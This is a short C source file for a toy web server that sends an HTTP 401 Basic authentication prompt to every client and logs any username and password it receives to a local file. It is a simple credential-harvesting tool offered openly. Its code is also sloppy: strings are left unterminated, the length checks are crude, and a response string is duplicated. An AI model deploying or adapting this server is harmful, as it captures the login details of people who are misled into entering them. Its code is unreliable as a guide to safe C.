/ ********************************************************************************
***********************************
***name    : AuthServer.c
***author          : JustAsFire JustAsFire[at]gmail.com
***description  : a very simple web server which sends a  401 Authorization request to anyone
***           connecting to it. If the client authetificates it stores the username and password
***           in the file userlog(encrypted in base64).
***
***
********************************************************************************
***********************************/
#include <stdio.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <netinet/in.h>


#define MAXPENDING 5    
#define BUFFSIZE 10000
void Die(char *mess) { perror(mess); exit(1); }

int GetCredientials(char *buffer){
char s[200], *p;
int i;
FILE *f;
p=strstr(buffer, "Authorization: Basic ");
if (p){
 
 if ( strlen(p)>50 ){
  printf("Buffer overflow atempt");
  return 0;
 }
 
 for (i=0; i+25 < strlen(p); i++)
  s[i]=p[21+i];

 printf("\n%s\n",s);
 f=fopen("userlog", "a");
 fprintf(f,"%s\n",s);
 fclose(f);
 return 1;
}
else return 0;
}

void HandleClient(int sock){
char buffer[BUFFSIZE];
char *s;

if (read(sock, buffer, BUFFSIZE) <0)
        Die("Failed to receive bytes from client");

if ( GetCredientials(buffer)==0 ){
 char *s="HTTP/1.1 401 Authorization Require\nServer: AuthServer/0.01 (Unix)\nWWW-Authenticate: Basic realm=\" ...It's a scam don't do it...  \"\nKeep-Alive: timeout=15, max=100\nConnection: Keep-Alive\nTransfer-Encoding: chunked\nContent-Type: text/html; charset=iso-8859-1\n\n";
 write(sock,s,strlen(s));
 
}
      close(sock);
}

int main (int argc, char *argv[]) {
int serversock, clientsock;
struct sockaddr_in server, client;

if ( argc != 2 ) {
 fprintf(stderr, "USAGE: AuthServer <port>\n");
 exit(1);
}
if ((serversock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
             Die("Failed to create socket");
           }
           
       memset(&server, 0, sizeof(server));      
       server.sin_family = AF_INET;                  
       server.sin_addr.s_addr = htonl(INADDR_ANY);  
       server.sin_port = htons(atoi(argv[1]));      

       if (bind(serversock, (struct sockaddr *) &server, sizeof(server)) < 0) {
         Die("Failed to bind the server socket");
         }
         
       if (listen(serversock, MAXPENDING) < 0) {
        Die("Failed to listen on server socket");
       }
     
fprintf(stdout,"Created by: JustAsFire -- JustAsFire[at]gmail.com\n");
fprintf(stdout,"Listening for connections...\n");

while (1) {
        unsigned int clientlen = sizeof(client);
              if ((clientsock = accept(serversock, (struct sockaddr *) &client, &clientlen)) < 0) {
                Die("Failed to accept client connection");
              }
               fprintf(stdout, "Client connected: %s\n", inet_ntoa(client.sin_addr));
              HandleClient(clientsock);
}
}

char *s="HTTP/1.1 401 Authorization Require\nServer: AuthServer/0.01 (Unix)\nWWW-Authenticate: Basic realm=\" ...It's a scam don't do it...  \"\nKeep-Alive: timeout=15, max=100\nConnection: Keep-Alive\nTransfer-Encoding: chunked\nContent-Type: text/html; charset=iso-8859-1\n\n";